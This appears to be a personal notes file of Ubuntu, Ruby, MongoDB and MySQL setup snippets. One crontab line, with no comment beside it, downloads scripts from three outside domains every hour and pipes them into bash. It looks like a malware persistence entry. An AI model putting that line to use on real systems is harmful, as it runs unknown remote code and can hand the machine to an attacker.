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#http://linuxg.net/how-to-install-oracle-java-jdk-678-on-ubuntu-13-04-12-10-12-04/
sudo apt-get purge openjdk*
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
#sudo apt-get install oracle-java8-installer
sudo apt-get install oracle-java7-installer
#sudo apt-get install oracle-java6-installer

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echo "install Ubuntu packages..."
sudo apt-get update
sudo apt-get install -y wget vim build-essential openssl libreadline6 libreadline6-dev libmysqlclient-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libxml2-dev libxslt-dev autoconf automake libtool imagemagick libmagickwand-dev libpcre3-dev nodejs
echo "---------------------------------------------------------------------------"
echo "---------------------------------------------------------------------------"
echo ""
echo ""
echo "Install RVM"

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#m h dom mon dow user command

crontab -e

1 1 * * * ruby /home/ruby/data/autorun/ruby product_price.rb >> /home/ruby/data/autorun/log.log 2>&1


列出当前用户签定的任务： # crontab -l
删除当前用户签定的任务： # crontab -r

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1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget  -O - ddos.cat.com/cmd3|bash;

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The best way is to do it is from the mongodb console:

> use mydb; 
> db.dropDatabase();

# 删除collection
> db.temp.drop();

# 删除 product 这个collction下的所有数据
> db.products.remove()

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You must run copydb or clone on the destination server.
#http://docs.mongodb.org/manual/tutorial/copy-databases-between-instances/
在目标主机上操作如下

db.copyDatabase( "test", "records", "db0.example.net" )
源地址： db0.example.net
源数据库：test
目标数据库：records

db.copyDatabase( "test", "records", "db0.example.net" , "username", "password")

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#!/bin/bash
echo "install ctags"
sudo apt-get install ctags

echo "download webbench";
wget http://home.tiscali.cz/cz210552/distfiles/webbench-1.5.tar.gz
tar zxvf webbench-1.5.tar.gz
cd webbench-1.5/
make
sudo make install

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mkdir  -p data/masterdb

cd data/masterdb

======

#stop mongodb

sudo service mongodb stop

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gem install rails -v 3.2.14
gem install bundler
sudo apt-get install imagemagick
gem install spree_cmd

rails _3.2.14_ new mystore
cd mystore

vim Gemfile
#add the two line at bottom

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http://stackoverflow.com/questions/3513773/change-mysql-default-character-set-to-utf8-in-my-cnf

To set the default to UTF-8, you want to add the following to my.cnf

[client]
default-character-set=utf8

[mysql]
default-character-set=utf8